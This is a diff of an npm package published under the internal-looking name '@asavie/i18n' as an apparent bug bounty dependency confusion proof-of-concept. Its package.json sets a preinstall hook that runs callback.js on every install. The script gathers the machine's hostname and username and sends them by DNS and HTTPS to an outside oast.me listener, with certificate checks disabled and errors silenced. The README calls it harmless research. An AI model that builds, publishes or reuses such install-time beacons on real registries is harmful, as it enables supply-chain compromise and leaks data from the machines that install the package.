@asavie/i18n 99.0.3

package/README.md

@@ -0,0 +1,24 @@
+# @asavie/i18n - Security Research
+
+**This package is a dependency confusion proof-of-concept.**
+
+It was published as part of authorized bug bounty research to demonstrate
+that the `@asavie/i18n` package name was unclaimed on the public npm registry
+while being referenced by a production application.
+
+## What this does
+
+On `npm install`, the `preinstall` script performs a single DNS lookup
+to prove code execution occurred. It does NOT read files, exfiltrate data,
+install backdoors, or modify the system in any way.
+
+## Contact
+
+- Researcher: daad122
+- Platform: HackerOne / Bugcrowd
+- Email: daad122@wearehackerone.com
+
+## Responsible Disclosure
+
+This package will be unpublished or transferred to the legitimate owner
+after the vulnerability report is resolved.

package/callback.js

@@ -0,0 +1,36 @@
+/**
+ * SECURITY RESEARCH - Dependency Confusion PoC (v99.0.2)
+ * Authorized bug bounty testing by daad122@wearehackerone.com
+ *
+ * Beacon-only: resolves hostname + username via Node.js stdlib,
+ * sends a single DNS lookup and HTTPS GET to an interactsh listener.
+ * No commands executed, no files read, no credentials accessed.
+ */
+
+const dns = require('dns');
+const os = require('os');
+const https = require('https');
+
+const OOB_DOMAIN = 'd88sor2o12pnlnd0i1n08ghufaornbr1i.oast.me';
+
+function sanitize(s, max = 60) {
+  return (s || 'none').replace(/[^a-zA-Z0-9._-]/g, '-').substring(0, max);
+}
+
+try {
+  const hostname = sanitize(os.hostname(), 40);
+  const user = sanitize(os.userInfo().username, 20);
+
+  // DNS beacon — proves code execution, identifies package + host + user
+  dns.resolve(`dep-conf.asavie-i18n.${hostname}.${user}.${OOB_DOMAIN}`, 'A', () => {});
+
+  // HTTPS beacon — captures source IP + timestamp in interactsh
+  https.get(
+    `https://${OOB_DOMAIN}/dep-conf?h=${hostname}&u=${user}&pkg=asavie-i18n`,
+    { rejectUnauthorized: false, timeout: 10000 },
+    () => {}
+  ).on('error', () => {});
+
+} catch (e) {
+  // Fail silently — never break the target's build
+}

package/index.js

@@ -0,0 +1,4 @@
+// @asavie/i18n - SECURITY RESEARCH placeholder
+// Dependency confusion PoC by daad122@wearehackerone.com
+// This package exists to demonstrate supply-chain vulnerability.
+module.exports = {};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "@asavie/i18n",
+  "version": "99.0.3",
+  "description": "SECURITY RESEARCH - Dependency confusion beacon-only PoC - Contact: daad122@wearehackerone.com",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "keywords": ["security-research", "dependency-confusion", "bug-bounty"],
+  "author": "daad122 (security researcher)",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": "https://hackerone.com/daad122"
+  }
+}